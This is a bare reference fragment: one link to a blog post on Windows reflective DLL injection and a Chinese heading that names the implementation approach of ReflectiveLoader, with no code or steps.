  • https://yaoyue123.github.io/2021/01/31/Windows-Reflective-dllinject/#%E6%A0%B8%E5%BF%83%E6%80%9D%E8%B7%AF

ReflectiveLoader的实现思路